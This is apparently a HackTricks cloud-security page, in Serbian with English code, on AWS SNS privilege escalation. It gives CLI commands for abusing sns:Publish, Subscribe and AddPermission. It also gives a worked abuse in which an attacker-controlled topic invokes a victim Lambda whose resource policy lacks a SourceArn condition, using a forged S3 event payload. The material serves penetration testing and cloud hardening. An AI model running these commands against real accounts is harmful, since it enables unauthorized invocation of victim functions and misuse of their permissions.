AWS - SNS Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SNS

Za više informacija pogledajte:

AWS - SNS Enum

sns:Publish

An attacker može poslati zlonamerne ili neželjene poruke na SNS topic, što može dovesti do oštećenja podataka, pokretanja neželjenih akcija ili iscrpljivanja resursa.

aws sns publish --topic-arn <value> --message <value>

Potencijalni uticaj: iskorišćavanje ranjivosti, oštećenje podataka, neželjene radnje ili iscrpljivanje resursa.

sns:Subscribe

Napadač bi mogao da se pretplati na SNS topic, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na taj topic.

aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Potencijalni uticaj: Neovlašćen pristup porukama (osetljive informacije), prekid usluge za aplikacije koje zavise od pogođene teme.

sns:AddPermission

Napadač bi mogao dodeliti neovlašćenim korisnicima ili servisima pristup SNS temi, potencijalno stičući dodatne dozvole.

aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Potential Impact: Neovlašćen pristup topic-u, izlaganje poruka, ili manipulacija topic-om od strane neovlašćenih korisnika ili servisa, prekid normalnog rada aplikacija koje zavise od topic-a.

Pozivanje Lambda pomoću zloupotrebe wildcard SNS dozvole (bez SourceArn)

Ako resource-based policy Lambda funkcije dozvoljava sns.amazonaws.com da je pozove bez ograničavanja source topica (SourceArn), bilo koji SNS topic (čak i u drugom account-u) može da se prijavi i okine funkciju. Attacker sa osnovnim SNS permissions može da natera Lambda da se izvrši pod svojom IAM rolom koristeći attacker-controlled input.

Tip

TODO: Može li se ovo zaista izvesti cross-account?

Preduslovi

  • Victim Lambda policy sadrži izjavu kao ispod, bez SourceArn uslova:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Koraci zloupotrebe (u istom ili između naloga)

# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Potencijalni uticaj: victim Lambda se izvršava sa svojom IAM rolom i procesuira attacker-controlled input. Ovo se može zloupotrebiti da funkcija izvrši osetljive radnje (npr. pisanje u S3, access secrets, izmena resursa) u zavisnosti od njenih dozvola.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks